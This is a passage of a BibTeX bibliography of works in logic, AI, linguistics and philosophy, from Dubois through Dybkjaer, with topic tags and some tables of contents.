dubois_d-etal:1998b, + author = {Didier Dubois and D. Le Berre and Henri Prade and + H. Zapico}, + title = {Making Decision in a Qualitative Setting: From Decision + under Uncertainty to Case-Based Decision}, + booktitle = {Proceedings of the Fourteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference}, + year = {1998}, + editor = {Ted Senator and Bruce Buchanan}, + pages = {588--593}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {qualitative-decision-theory;case-based-reasoning; + possibilistic-logic;} + } + +@incollection{ dubois_d-etal:1998c, + author = {Didier Dubois and Serafin Moral and Henri Prade}, + title = {Belief Change Rules in Ordinal and Numerical Uncertainty + Theories}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 3: Belief Change}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Didier Dubois and Henri Prade}, + pages = {311--392}, + address = {Dordrecht}, + topic = {belief-revision;} + } + +@book{ dubois_d-prade:1998a, + editor = {Didier Dubois and Henri Prade}, + title = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems: Belief Change}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + volume = {3}, + address = {Dordrecht}, + contentsnote = {TC: + 1. Didier Dubois and Henri Prade, "Introduction: Revising, + Updating and Combining Knowledge", pp. 1--15 + 2. Sven Ove Hansson, "Revision of Belief Sets and Belief + Bases", pp. 16--75 + 3. Bernhard Nebel, "How Hard is it to Revise a Belief + Base?", pp. 77--145 + 4. Sten Lindstr\"om and Wlodek Rabinowicz, "Conditionals + and the {R}amsey Test", pp. 147--188 + 5. Andreas Herzig, "Logics for Belief Base Updating", pp. 189--231 + 6. Laurence Cholvy, "Reasoning about Merged + Information", pp. 233--263 + 7. Philippe Smets, "Numerical Representation of + Uncertainty", pp. 265--309 + 8. Didier Dubois and Serafin Moral and Henri Prade, "Belief + Change Rules in Ordinal and Numerical Uncertainty + Theories", pp. 311--392 + 9. J\"org Gebhardt and Rudolf Kruse, "Parallel Combination of + Information Sources", pp. 393--439 + } , + topic = {belief-revision;} + } + +@incollection{ dubois_d-prade:1998b, + author = {Didier Dubois and Henri Prade}, + title = {Possibility Theory: Qualitative and Quantitative Aspects}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 1: Quantified Representation + of Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {169--226}, + address = {Dordrecht}, + topic = {possibility-theory;} + } + +@incollection{ dubois_d-prade:1998c, + author = {Didier Dubois and Henri Prade}, + title = {Introduction: Revising, Updating and Combining Knowledge}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 3: Belief Change}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Didier Dubois and Henri Prade}, + pages = {1--15}, + address = {Dordrecht}, + topic = {belief-revision;knowledge-integration;} + } + +@inproceedings{ dubois_d-prade:1999a, + author = {Didier Dubois and Henri Prade}, + title = {Decision, Nonmonotonic Reasoning and Possibilistic + Logic}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {qualitative-decision-theory;possibilistic-logic;} + } + +@article{ dubois_d-etal:2000a, + author = {Didier Dubois and Petr H\'ajek and Henri Prade}, + title = {Knowledge-Driven versus Data-Driven Logics}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {1}, + pages = {65--89}, + topic = {reasoning-about-uncertainty;kr;} + } + +@inproceedings{ dubois_j:1996a, + author = {John Dubois}, + title = {Dialogic Syntax}, + booktitle = {Proceedings of the International Pragmatics Association}, + year = {1996}, + month = {July}, + contentnote = {Has to do with pattern + repetition in discourse.}, + topic = {discourse;pragmatics;} + } + +@article{ duboulay:2001a, + author = {Benedict du Boulay}, + title = {Review of {\it Artificial Intelligence: A New Synthesis}, + by {N}ils {J}. {N}ilsson, + {\it Artificial Intelligence: Theory and Practice}, + by {T}homas {D}ean, {J}ames {F}. {A}llen, and {Y}. {A}loimonos, + {\it Computational Intelligence: A Logical Approach}, by + by {D}avid {P}oole, {A}lan {M}ackworth, and {R}andy {G}oebel, + {\it Artificial Intelligence: A Modern Approach}, + by {S}tuart {R}ussell and {P}eter {N}orvig + } , + journal = {Artificial Intelligence}, + year = {2001}, + volume = {125}, + number = {1--2}, + pages = {227--232}, + xref = {Review of nilsson:1998a, allen_jf-etal, poole-etal:1988a, + russell-norvig:1995a, } , + topic = {AI-intro;} + } + +@incollection{ dubreu:1954a, + author = {G. Dubreu}, + title = {Representation of a Preference Ordering by a + Numerical Function}, + booktitle = {Decision Processes}, + publisher = {John Wiley and Sons}, + year = {1960}, + address = {New York}, + editor = {Robert M. Thrall and C.H. Coombs and R.L. Davis}, + pages = {159--165}, + missinginfo = {A's 1st name, E's 1st name}, + topic = {qualitative-preference;} + } + +@book{ duchan-etal:1995a, + editor = {Judith F. Duchan and Gail A. Bruder and Lynne E. Hewitt}, + title = {Deixis in Narrative: A Cognitive Science Perspective}, + publisher = {Lawrence Erlbaum Associates}, + year = {1995}, + address = {Mahwah, New Jersey}, + xref = {Review: cremers:1996a.}, + topic = {deixis;psycholinguistics;pragmatics;} + } + +@unpublished{ dudman:1981a, + author = {V.C. Dudman}, + title = {Time and Tense in {E}nglish}, + year = {1981}, + note = {Unpublished manuscript, Macquarie University.}, + topic = {nl-tense;conditionals;} + } + +@article{ dudman:1984a, + author = {V.C. Dudman}, + title = {Conditional Interpretations of `If' Sentences}, + journal = {Australian Journal of Linguistics}, + year = {1984}, + volume = {4}, + number = {2}, + pages = {143--204}, + missinginfo = {A's 1st name, number}, + topic = {conditionals;} + } + +@article{ dufourd-etal:1998a, + author = {Jean-Fran\c{c}ois Dufourd and Pascal Mathis + and Pascal Schreck}, + title = {Geometric Construction by Assembling Solved + Subfigures}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {99}, + number = {1}, + pages = {73--119}, + topic = {computer-aided-design;geometrical-reasoning;} + } + +@book{ dumas-redish:1993a, + author = {Joseph S. Dumas and Janice C. Redish}, + title = {A Practical Guide to Usability Testing}, + publisher = {Ablex Publishing Corp.}, + year = {1993}, + address = {Norwood, New Jersey}, + ISBN = {089391990X (cl)}, + topic = {HCI;} + } + +@article{ dummett-lemmon:1959a, + author = {Michael A.E. Dummett and E. J. Lemmon}, + title = {Modal logics between {S4} and {S5}}, + journal = {Zeitschrift f\"{u}r {M}athematische {L}ogik + und {G}rundlagen der {M}athematik}, + volume = {5}, + year = {1959}, + pages = {250--264}, + topic = {modal-logic;} + } + +@book{ dummett:1973a, + author = {Michael A.E. Dummett}, + title = {Frege: Philosophy of Language}, + publisher = {Duckworth}, + year = {1973}, + address = {London}, + topic = {Frege;philosophy-of-logic;philosophy-of-language;} + } + +@article{ dummett:1975a1, + author = {Michael A.E. Dummett}, + title = {Wang's Paradox}, + journal = {Synt\`hese}, + year = {1975}, + volume = {30}, + pages = {301--324}, + missinginfo = {number}, + xref = {Republication: dummett:1975a2.}, + topic = {vagueness;} + } + +@incollection{ dummett:1975a2, + author = {Michael A.E. Dummett}, + title = {Wang's Paradox}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {99--118}, + address = {Cambridge, Massachusetts}, + xref = {Republication of dummett:1975a1.}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ dummett:1975b1, + author = {Michael Dummett}, + title = {What Is a Theory of Meaning?}, + booktitle = {Mind and Language: {W}olfson College Lectures}, + publisher = {Oxford University Press}, + year = {1975}, + editor = {Samuel Guttenplan}, + address = {Oxford}, + missinginfo = {pages}, + xref = {Republication: dummett:1975b2.}, + topic = {foundations-of-semantics;Davidson-semantics;} + } + +@incollection{ dummett:1975b2, + author = {Michael Dummett}, + title = {What Is a Theory of Meaning?}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {129--155}, + address = {Cambridge, Massachusetts}, + xref = {Republication of dummett:1975b1.}, + topic = {foundations-of-semantics;Davidson-semantics;} + } + +@incollection{ dummett:1976a, + author = {Michael Dummett}, + title = {What is a Theory of Meaning ({II})}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {67--137}, + address = {Oxford}, + topic = {foundations-of-semantics;Davidson-semantics;} + } + +@book{ dummett:1977a, + author = {Michael A.E. Dummett}, + title = {Elements of Intuitionism}, + publisher = {Clarendon Press}, + address = {Oxford}, + year = {1977}, + topic = {intuitionistic-mathematics;foundations-of-mathematics;} + } + +@incollection{ dummett:1979a, + author = {Michael A.E. Dummett}, + title = {What Does a Theory of Use Do for a + Theory of Meaning?}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {123--135}, + address = {Dordrecht}, + topic = {foundations-of-pragmatics;pragmatics;} + } + +@incollection{ dummett:1979b, + author = {Michael A.E. Dummett}, + title = {Common-Sense and Physics}, + booktitle = {Perception and Identity}, + publisher = {MacMillan}, + year = {1979}, + editor = {G.F. Macdonald}, + address = {London}, + missinginfo = {pages, E's 1st name}, + topic = {common-sense;foundations-of-physics;} + } + +@book{ duncan-fiske:1977a, + author = {Starkey {Duncan, Jr.} and Donald W. Fiske}, + title = {Face-To-Face Interaction: Research, Methods, and Theory}, + publisher = {Lawrence Erlbaum Associates}, + year = {1977}, + address = {Hillsdale, New Jersey}, + ISBN = {0470991135}, + topic = {facial-expression;social-psychology;interpersonal-communication;} + } + +@article{ duncanjones:1964a, + author = {Austin Duncan-Jones}, + title = {Performance and Promise}, + journal = {Philosophical Quarterly}, + year = {1964}, + volume = {14}, + pages = {97--117}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;} + } + +@article{ dung:1995a, + author = {Phan Minh Dung}, + title = {On the Acceptability of Arguments and Its Fundamental Role in + Nonmonotonic Reasoning, Logic Programming, and n-Person Games}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {2}, + pages = {321--257}, + topic = {argumentation;logic-programming;} + } + +@article{ dung:1995b, + author = {Phan Minh Dung}, + title = {An Argumentation Theoretic Foundation for Logic Programming}, + journal = {Journal of Logic Programming}, + year = {1995}, + volume = {22}, + pages = {151--177}, + topic = {argumentation;logic-programming;} + } + +@article{ dung:1995c, + author = {Phan Minh Dung}, + title = {On the Acceptability of Arguments and Its Fundamental Role + in Nonmonotonic Reason, Logic Programming, and $N$-Person + Games}, + journal = {Artificial Intelligence}, + volume = {77}, + year = {1995}, + pages = {321--357}, + topic = {argument-based-defeasible-reasoning; + nonmonotonic-reasoning;logic-programming;game-theory;} + } + +@inproceedings{ dung-son:1996a, + author = {Phan Minh Dung and Tran Cao Son}, + title = {Non-Monotonic Inheritance, Argumentation, and Logic + Programming}, + booktitle = {Proceedings of the Third International Conference on + Logic Programming and Nonmonotonic Reasoning}, + year = {1996}, + pages = {317--329}, + missinginfo = {editor, publisher, organization, address}, + topic = {logic-programming;argumentation;inheritance-theory;} + } + +@incollection{ dung-son:1996b, + author = {Phan Minh Dung and Tran Cao Son}, + title = {An Argumentation-Theoretic Approach to Reasoning with Specificity}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {506--517}, + address = {San Francisco, California}, + topic = {kr;default-logic;specificity;inheritance-theory;} + } + +@article{ dung-son:2001a, + author = {Phan Minh Dung and Tran Cao Son}, + title = {An Argument-Based Approach to Reasoning with Specificity}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {133}, + number = {1--2}, + pages = {35--85}, + topic = {nonmonotonic-reasoning;specificity; + argument-based-defeasible-reasoning;} + } + +@incollection{ duninkeplicz:1994a, + author = {Barbara Dunin-Keplicz}, + title = {An Architecture with Multiple Meta-Levels for the + Development of Correct Programs}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {293--310}, + address = {Berlin}, + topic = {metaprogramming;} + } + +@article{ dunn:1967a, + author = {J. Michael Dunn}, + title = {Drange's Paradox Lost}, + journal = {Philosophical Studies}, + year = {1967}, + volume = {6}, + number = {18}, + pages = {94--95}, + topic = {truth-value-gaps;semantic-paradoxes;} + } + +@unpublished{ dunn:1969a, + author = {J. Michael Dunn}, + title = {Natural Language and Formal Language}, + year = {1969}, + note = {Unpublished manuscript, Indiana University.}, + topic = {relevance-logic;natural-language/formal-language;} + } + +@article{ dunn:1975a, + author = {J. Michael Dunn}, + title = {Axiomatizing {B}elnap's Conditional Assertion}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {4}, + pages = {383--397}, + topic = {conditional-assertion;} + } + +@article{ dunn:1976a, + author = {J. Michael Dunn}, + title = {Intuitive Semantics for First-Degree Entailment and + `Coupled Trees'\, } , + journal = {Philosophical Studies}, + year = {1976}, + volume = {29}, + pages = {149--168}, + missinginfo = {number}, + topic = {relevance-logic;} + } + +@book{ dunn-epstein:1977a, + editor = {J. Michael Dunn and George Epstein}, + title = {Modern Uses Of Multiple-Valued Logic: Invited Papers From the + Fifth International Symposium on Multiple-Valued Logic, held at + Indiana University, Bloomington, Indiana, May 13--16, 1975}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + address = {Dordrecht}, + ISBN = {9027707472}, + topic = {multi-valued-logic;} + } + +@article{ dunn:1980a, + author = {J. Michael Dunn}, + title = {A Sieve for Entailments}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {1}, + pages = {41--57}, + topic = {relevance-logics;} + } + +@incollection{ dunn:1986a, + author = {J. Michael Dunn}, + title = {Relevance Logic and Entailment}, + booktitle = {Handbook of Philosophical Logic, Volume {III}: + Alternatives in Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {117--224}, + address = {Dordrecht}, + topic = {relevance-logic;} + } + +@article{ dunn:1987a, + author = {J. Michael Dunn}, + title = {Relevant Predication {I}: the Formal Theory}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {4}, + pages = {347--381}, + missinginfo = {number}, + topic = {relevance-logic;} + } + +@incollection{ dunn:1989a, + author = {J. Michael Dunn}, + title = {Relevance Logic and Entailment}, + booktitle = {Handbook of Philosophical Logic, Volume 3}, + publisher = {D. Reidel Publishing Co.}, + year = {1989}, + editor = {Dov Gabbay and Franz Guenthner}, + pages = {117--224}, + address = {Dordrecht}, + topic = {relevance-logic;} + } + +@incollection{ dunn:1990a, + author = {J. Michael Dunn}, + title = {The Frame Problem and Relevant Predication}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg Carlson}, + pages = {89--95}, + address = {Dordrecht}, + topic = {kr;frame-problem;relevance-logic;} + } + +@article{ dunn:1990b, + author = {J. Michael Dunn}, + title = {Relevant Predication {II}: Intrinsic Properties and + Internal Relations}, + journal = {Philosophical Studies}, + year = {1990}, + volume = {60}, + pages = {117--206}, + topic = {relevant-predication;relevance-logic;real-properties; + internal/external-properties;} + } + +@incollection{ dunn:1990c, + author = {J. Michael Dunn}, + title = {Relevant Predication {III}: Essential Properties}, + booktitle = {Truth or Consequences: Essays in Honor of {N}uel {B}elnap}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {J. Michael Dunn and Anil Gupta}, + pages = {77--95}, + address = {Dordrecht}, + topic = {relevant-predication;relevance-logic;real-properties; + internal/external-properties;} + } + +@unpublished{ dunn:1990d, + author = {J. Michael Dunn}, + title = {Gaggle Theory: An Abstraction of {G}alois Connections + and Residuation, with Applications to Negation, Implication, + and Various Logical Operators}, + year = {1990}, + note = {Unpublished manuscript, Indiana University}, + topic = {algebraic-logic;relevance-logic;} + } + +@book{ dunn-gupta:1990a, + editor = {J. Michael Dunn and Anil Gupta}, + title = {Truth or Consequences: Essays in Honor of {N}uel + {B}elnap}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + address = {Dordrecht}, + topic = {philosophical-logic;} + } + +@incollection{ dunn:1993a, + author = {J. Michael Dunn}, + title = {Star and Perp: Two Treatments of Negation}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {331--357}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {negation;relevance-logic;} + } + +@article{ dunn:1995a, + author = {J. Michael Dunn}, + title = {Positive Modal Logic}, + journal = {Studia Logica}, + year = {1995}, + volume = {55}, + number = {2}, + pages = {259--271}, + contentnote = {Axiomatizes negation-free minimal modal logic.}, + topic = {modal-logic;positive-logic;} + } + +@article{ dunn:2000a, + author = {J. Michael Dunn}, + title = {Partiality and its Dual}, + journal = {Studia Logica}, + year = {2000}, + volume = {66}, + number = {1}, + pages = {5--40}, + topic = {relevance-logic;partial-logic;4-valued-logic;} + } + +@article{ dunne-benchcapon:1997a, + author = {Paul E. Dunne and Trevor J.M. Bench-Capon}, + title = {The Maximum Length of Prime Implicates for Instances of + {3-SAT}}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {317--329}, + acontentnote = {Abstract: + Schrag and Crawford (1996) present strong experimental evidence + that the occurrence of prime implicates of varying lengths in + random instances of 3-SAT exhibits behaviour similar to the + well-known phase transition phenomenon associated with + satisfiability. Thus, as the ratio of number of clauses (m) to + number of propositional variables (n) increases, random + instances of 3-SAT progress from formulae which are generally + satisfiable through to formulae which are generally not + satisfiable, with an apparent sharp threshold being crossed when + m/n ~4.2. For instances of 3-SAT, Schrag and Crawford (1996) + examine with what probability the longest prime implicate has + length k (for k>=0)-unsatisfiable formulae correspond to those + having only a prime implicate of length 0-demonstrating that + similar behaviour arises. It is observed by Schrag and Crawford + (1996) that experiments failed to identify any instance of 3-SAT + over nine propositional variables having a prime implicate of + length 7 or greater, and it is conjectured that no such + instances are possible. In this note we present a combinatorial + argument establishing that no 3-SAT instance on n variables can + have a prime implicate whose length exceeds max(n/2 +1, 2n/3, + validating this conjecture for the case n=9. We further show + that these bounds are the best possible. An easy corollary of + the latter constructions is that for all k>3, instances of k-SAT + on n variables can be formed, that have prime implicates of + length n-o(n).}, + topic = {prime-implicants;model-construction;} + } + +@article{ duntsch-gediga:1998a, + author = {Ivo D\"untsch and G\"unther Gediga}, + title = {Uncertainty Measures for Rough Set Prediction}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {106}, + number = {1}, + pages = {109--137}, + topic = {data-prediction;rough-sets;} + } + +@article{ duntsch-orlawska:2000a, + author = {Ivo D\"untsch and Ewa Or{\l}awska}, + title = {A Proof System for Contact Relation Algebras}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {3}, + pages = {241--262}, + topic = {spatial-reasoning;qualitative-geometry;mereology; + completeness-theorems;} + } + +@incollection{ dupre:1984a, + author = {John Dupr\'e}, + title = {Probabilistic Causality Emancipated}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {169--175}, + address = {Minneapolis}, + topic = {causality;probability;} + } + +@article{ dupre:1999a, + author = {John Dupr\'e}, + title = {Review of {\it How the Mind Works}, by + {S}tephen {P}inker}, + journal = {Philosophy of Science}, + year = {1999}, + volume = {66}, + number = {3}, + pages = {489--507}, + xref = {Review of pinker:1997a.}, + topic = {cognitive-psychology;} + } + +@article{ dupre:2000a, + author = {John Dupr\'e}, + title = {Review of {\it The Social Construction of What?}, + by {I}an {H}acking}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {5}, + pages = {673--676}, + topic = {social-constructivism;philosophy-of-science;} + } + +@book{ dupuy:1997a, + editor = {Jean-Pierre Dupuy}, + title = {Perspectives on Self-Deception}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + topic = {self-deception;} + } + +@book{ duranti-goodwin:1992a, + editor = {Alessandro Duranti and Charles Goodwin}, + title = {Rethinking Context: Language as an Interactive Phenomenon}, + publisher = {Cambridge University Press}, + year = {1992}, + address = {Cambridge, England}, + ISBN = {052138169X}, + topic = {context;sociolinguistics;} + } + +@inproceedings{ durfee-montgomery:1991a, + author = {Edmund H. Durfee and Thomas A. Montgomery}, + title = {A Hierarchical Protocol for Coordinating Multiagent Behaviors}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathleen McKeown}, + pages = {86--93}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {coordinating-behavior;action-descriptions;communication-protocols;} + } + +@unpublished{ durfee-etal:1995a, + author = {Edmund H. Durfee and Victor R. Lesser and Daniel D. + Corkill}, + title = {Trends in Cooperative Distributed Problem Solving}, + year = {1995}, + note = {Unpublished manuscript, University of Michigan.}, + missinginfo = {Pub Info.}, + topic = {distributed-systems;} + } + +@article{ durfee:1999a, + author = {Edmund H. Durfee}, + title = {Distributive Continual Planning for Unmanned Ground + Vehicle Teams}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {4}, + pages = {55--61}, + topic = {multiagent-planning;distributed-systems;} + } + +@book{ durlach-mavor:1995a, + editor = {Nathaniel I. Durlach and Anne S. Mavor}, + title = {Virtual Reality: Scientific and Technological Challenges}, + publisher = {National Academy Press}, + year = {1995}, + address = {Washington, D.C.}, + ISBN = {0309051355}, + topic = {virtual-reality;} + } + +@article{ durstandersen:1995a, + author = {Per Durst-Andersen}, + title = {Imperative Frames and Modality. Direct vs. Indirect + Speech Acts in {R}ussian, {D}anish, and {E}nglish}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {6}, + pages = {655--675}, + topic = {speech-acts;pragmatics;indirect-speech-acts;} + } + +@article{ dusche:1995a, + author = {M. Dusche}, + title = {Interpreted Logical Forms as Objects of the Attitudes}, + journal = {Journal of Logic, Language, and Information}, + year = {1995}, + volume = {4}, + number = {4}, + pages = {301--315}, + topic = {propositional-attitudes;hyperintensionality; + structured-propositions;} + } + +@book{ dutoit:1997a, + author = {Thierry Dutoit}, + title = {An Introduction to Text-to-Speech Synthesis}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + ISBN = {0-7923-4498-7}, + xref = {Review: fitzpatrick:1998a}, + topic = {speech-generation;} + } + +@inproceedings{ dwork-moses_y:1986a1, + author = {Cynthia Dwork and Yoram Moses}, + title = {Knowledge and Common Knowledge in a {B}yzantine Environment}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {149--169}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + xref = {See dwork-moses_y:1986a2}, + topic = {epistemic-logic;mutual-belief;Byzantine-agreement;} + } + +@article{ dwork-moses_y:1986a2, + author = {Cynthia Dwork and Yoram Moses}, + title = {Knowledge and Common Knowledge in a {B}yzantine Environment: + Crash Failures}, + journal = {Information and Computation}, + year = {1990}, + volume = {88}, + number = {2}, + pages = {156--186}, + xref = {See dwork-moses_y:1986a1}, + topic = {epistemic-logic;mutual-belief;Byzantine-agreement;} + } + +@book{ dworkin:1988a, + author = {Gerald Dworkin}, + title = {The Theory and Practice of Autonomy}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge, England}, + topic = {freedom;volition;} + } + +@article{ dwyer-pietroski:1996a, + author = {Susan Dwyer and Paul M. Pietrowski}, + title = {Believing in Language}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {63}, + number = {3}, + pages = {338--373}, + topic = {philosophy-of-linguistics;} + } + +@book{ dybjer-etal:1994a, + editor = {Peter Dybjer and B. Nordstr\"om and J. Smith}, + title = {Types for Proofs and Programs: Selected Papers}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berlin}, + topic = {type-theory;proof-theory;programming-languages;} + } + +@book{ dybjer-etal:1995a, + editor = {Peter Dybjer and Bengt Nordstr\"om and Jan Smith}, + title = {Types for Proofs and Programs: International Workshop + {TYPES}'94, {B}estad, {S}weden, June 6--10}, + publisher = {Springer-Verlag}, + year = {1995}, + address = {Berlin}, + ISBN = {3-540-60579-7}, + contentnote = {TC: + 1. Reni M. C. Ahn, "Communication Contexts: a Pragmatic Approach + to Information Exchange", pp. 1--13 + 2. Herman Geuvers, "A Short and Flexible Proof of Strong + Normalization for the Calculus of + Constructions", pp. 14--38 + 3. Eduardo Giminez, "Codifying Guarded Definitions with + Recursive Schemes", pp. 39--59 + 4. Healfdene Goguen, "The Metatheory of {UTT}", pp. 60--82 + 5. Pascal Manoury, "A User's Friendly Syntax to Define Recursive + Functions as Typed lambda-Terms", pp. 83--100 + 6. Tobias Nipkow, Konrad Slind, "I/Q Automata in + Isabelle/HOL", pp. 101--119 + 7. Lawrence C. Paulson, "A Concrete Final Coalgebra Theorem for + {ZF} Set Theory", pp. 120--139 + 8. Robert Pollack, "On Extensibility of Proof Checkers", pp. 140--161 + 9. Aarne Ranta, "Syntactic Categories in the Language of + Mathematics", pp. 162--182 + 10. Amokrane Saobi, "Formalization of a Lamda-Calculus with + Explicit Substitutions in {Coq}", pp. 183--202 + } , + topic = {type-theory;logic-in-cs;} + } + +@incollection{ dybkjaer_l-etal:1997a, + author = {Laila Dybkj{\ae}r and Niels Ole Bernsen and Hans + Dybkj{\ae}r}, + title = {Generality and Objectivity: Central Issues in Putting + a Dialogue Evaluation Tool into Practical Use}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + pages = {17--24}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;nlp-evaluation;} + } + +@incollection{ dybkjaer_l-etal:1997b, + author = {Laila Dybkj{\ae}r and Niels Ole Bernsen and Hans + Dybkj{\ae}r}, + title = {Generality and Objectivity: Central + Issues in Putting a Dialogue Evaluation Tool into + Practical Use}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {17--24}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;nlp-evaluation;} + } + +@incollection{ dybkjaer_l-bernsen:2000a, + author = {Laila Dybkjaer and Niels Ole Bernsen}, + title = {The {MATE} Markup Framework}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {19--28}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;corpus-annotation;corpus-tagging;} + } + +@book{ dybkjaer_l-etal:2000a, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + title = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Shu Nakazoto, "Japanese Dialogue Corpus of Multi-Level + Annotation", pp. 1--8 + 2. Claudia Soria and Roldano Cattoni and Morena + Danielli, "{ADAM}: An Architecture for {XML}-Based + Dialogue Annotation on Multiple Levels", pp. 9--18 + 3. Laila Dybkjaer and Niels Ole Bernsen, "The {MATE} Markup + Framework", pp. 19--28 + 4. Nigel Ward, "Issues in the Transcription of {E}nglish + Conversational Grunts", pp. 29--35 + 5. Ilana Mushim and Lesley Stirling and Janet Fletcher and + Roger Wales, "Identifying Prosodic Indicators of + Dialogue Structure: Some Methodological and + Theoretical Considerations", pp. 36--45 + 6. Holger Schauer, "From Elementary Discourse Units to Complex + Ones", pp. 46--55 + 7. Costanza Navaretta, "Abstract Anaphora Resolution in + {D}anish", pp. 56--65 + 8. Simon Corston-Oliver, "Using Decision Trees to Select the + Grammatical Relation of a Noun Phrase", pp. 66--73 + 9. Dragomir Radev, "A Common Theory of Information Fusion from + Multiple Text Sources", pp. 74--83 + 10. Guido Boella and Rossana Damiano and Leonardo Lesmo, "Social + Goals in Conversational Cooperation", pp. 84--93 + 11. Preetam Maloor and Joyce Chai, "Dynamic User Level and + Utility Measurement for Adaptive Dialog in a + Help-Desp System", pp. 94--101 + 12. Mare Koit and Haldur Oim, "Dialogue Management in the Agreement + Negotiation Process: A Model that Involves Natural + Reasoning", pp. 102--111 + 13. Staffan Larsson and Annie Zaenan, "Document Transformations + and Information States",pp. 112--120 + 14. Annika Flycht-Eriksson and Arne J\"onsson, "Dialogue and Domain + Knowledge Management in Dialogue Systems", pp. 121--130 + 15. Eli Hagen and Fred Popowich, "Flexible Speech Act Based Dialogue + Management", pp. 131--140 + 16. Sado Kurohashi and Wataru Higasa, 